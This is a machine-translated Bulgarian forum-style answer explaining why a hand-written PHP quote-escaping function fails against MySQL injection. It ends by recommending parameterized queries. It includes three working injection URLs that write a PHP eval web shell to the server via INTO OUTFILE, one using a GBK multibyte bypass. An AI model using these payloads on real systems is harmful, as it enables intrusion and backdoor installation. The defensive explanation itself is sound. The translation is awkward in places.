Ако сте просто замествайки '
с ''
тогава можете да използвате това, като инжектирате \'
който ще се превърне в \''
и това ще ви позволи да избягате, защото това ви дава единични кавички и истински единични кавички. Въпреки това, замяната на "\\"
с "\\\\"
отрича тази атака. Двойните единични кавички се използват за "избягане" от единични кавички за MS-SQL, но това не е подходящо за MySQL, но може да работи.
Следните кодоведоказват че тази функция за бягство е безопасна за всички с изключение на три условия . Този код пермутира всички възможни варианти на контролните харти и тества всяка от тях, за да се увери, че няма да възникне грешка с един оператор за избор в кавички. Този код е тестван на MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Уязвимо състояние 1:не са използвани кавички.
mysql_query("select username from users where id=".escape($_GET['id']));
Експлоатация:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Уязвимо състояние 2:използвани двойни кавички
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Експлоатация:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Уязвимо условие 2:използват се единични кавички, но използва се алтернативен набор от знаци. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Експлоатация:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Изводът е винаги да се използва mysql_real_escape_string()
като escape рутина за MySQL. Параметризирани библиотеки със заявки като pdo и adodb винаги използват mysql_real_escape_string()
когато е свързан към mysql база данни. addslashes()
е ДАЛЕЧ ПО-ДОБЪР на рутина за бягство, защото се грижи за уязвимо състояние 2. Трябва да се отбележи, че дори не mysql_real_escape_string()
ще спре условие 1, но параметризирана библиотека със заявки ще спре.